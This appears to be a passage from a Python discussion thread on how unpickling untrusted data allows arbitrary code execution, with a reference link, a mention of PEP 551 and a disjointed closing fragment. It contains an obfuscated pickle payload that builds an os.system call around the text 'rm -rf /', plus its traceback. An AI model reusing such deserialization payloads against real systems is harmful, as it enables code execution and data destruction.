Could you expand on this, perhaps with references that I can read to learn more?
A pickle bytestring can execute completely arbitrary code. I have used them in my work.
An easy introduction: https://www2.cs.uic.edu/~s/musings/pickle/
An example:
payload = b"ctypes\nFunctionType\n(cmarshal\nloads\n(cbase64\nb64decode\n(S'4wAAAAAAAAAAAQAAAAIAAABDAAAAcxYAAABkAWQAbAB9AHwAagFkAoMBAQBkAFMAKQNO6QAAAAD6EGVjaG8gXCMgcm0gLXJmIC8pAtoCb3PaBnN5c3RlbSkBcgMAAACpAHIFAAAA+gc8c3RkaW4+2gdwYXlsb2FkBAAAAHMEAAAAAAEIAQ=='\ntRtRc__builtin__\nglobals\n(tRS''\ntR(tR."
from pickle import loads; loads(payload) # don't do it...!
Traceback (most recent call last):
File "<pyshell#1>", line 1, in <module>
from pickle import loads; loads(payload) # don't do it...!
File "...\lib\pickle.py", line 1388, in loads
return Unpickler(file).load()
File "...\lib\pickle.py", line 864, in load
dispatch[key](self)
File "...\lib\pickle.py", line 1139, in load_reduce
value = func(*args)
ValueError: bad marshal data (unknown type code)Arbitrary execution via pickle creates holes in this mechanism, requiring additional mitigations.
PEP-551 briefly discusses security motivations and potential mechanisms for environments where code execution is locked down:
In that example, subclasses of Runnable can be transferred. However, only the corpus of the "execute" method and the "properties" object is transferred. If you need to access modules, you'd have to import them inside the execute method.